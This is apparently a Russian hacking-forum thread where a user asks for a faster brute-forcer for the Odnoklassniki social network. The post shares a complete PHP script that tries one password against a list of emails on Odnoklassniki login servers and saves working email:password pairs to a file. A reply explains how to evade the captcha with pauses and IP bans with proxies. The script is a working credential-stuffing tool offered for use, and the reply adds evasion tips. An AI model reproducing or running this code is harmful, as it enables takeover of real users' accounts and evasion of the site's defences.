давно ищу брут для одноклашек... может кто ни будь поделиться софтом?.. у меня есть сие.. но скорость оставляет желать лучшего... PHP: <?php // Odnaklassniki cheker by Vid0k ICQ:78-327-077 from Antichat.ru set_time_limit(0); if(empty($_POST["mail"])) { ?> <html> <body> <h2 align=center >ODnoklassniki Bruter</h2> <form action="odnak_brut.php" METHOD=POST > <table align=center ><tr align=center><td> <h2>@mail</h2><p> <textarea name=mail cols=40 rows=20 align=center></textarea><p> <h3>Пароль:</h3><input type=text name=pass><p><input type=submit value="Brute This"> </td></tr></table> </form> </body> </html> <? } else { echo '<html> <body> <h2 align=center >ODnoklassniki Bruter</h2> <form action="odnak_brut.php" METHOD=POST > <table align=center ><tr align=center><td> <h2>@mail</h2><p> <textarea name=mail cols=40 rows=20 align=center>'.$_POST["mail"].'</textarea><p> <h3>Пароль:</h3><input type=text name=pass ><p> <input type=submit value="Brute This"></td></tr></table> </form> </body> </html>'; $aserver = Array("wg17.odnoklassniki.ru","wg10.odnoklassniki.ru","www.odnoklassniki.ru","wg3.odnoklassniki.ru","wg3.odnoklassniki.ua","wg15.odnoklassniki.ru"); $mail = split("\n",$_POST["mail"]); $pass = $_POST["pass"]; $i = 0; $c = 0; $file = fopen("good.txt","a"); while($i < count($mail)) { if($c==5){$c=0;} $ua = 'Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$aserver[rand(0,5)]); curl_setopt($ch, CURLOPT_FAILONERROR, 1); curl_setopt($ch, CURLOPT_HEADER,1); curl_setopt($ch, CURLOPT_USERAGENT,$ua); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); preg_match("/http:\/\/wg[0-9]{1,2}.odnoklassniki.[a-z]{1,2}\/cdk\/st.cmd\/login\/tkn\/[0-9]{1,8}/",$result,$posturl); $postdata = 'st.posted=set&st.email='.urlencode($mail[$i]).'&st.password='.$pass.'&button_go=%D0%92%D0%BE%D0%B9%D1%82%D0%B8'; curl_close($ch); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $posturl[0]); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_REFERER, "odnoklassniki.ru"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); $result = curl_exec($ch); if(preg_match("/302 Found/i",$result)) { print "$i. Good:$mail[$i]:$pass<br>"; flush(); fwrite($file,$mail[$i].":".$pass."\n"); } else {print "$i.Bad:$mail[$i]:$pass<br>";flush();} $c++; $i++; } fclose($file); } ?>
Там капча, и бан по ип насколько мне известно. Но капча обходится паузой в полсекунду, а бан - проксями.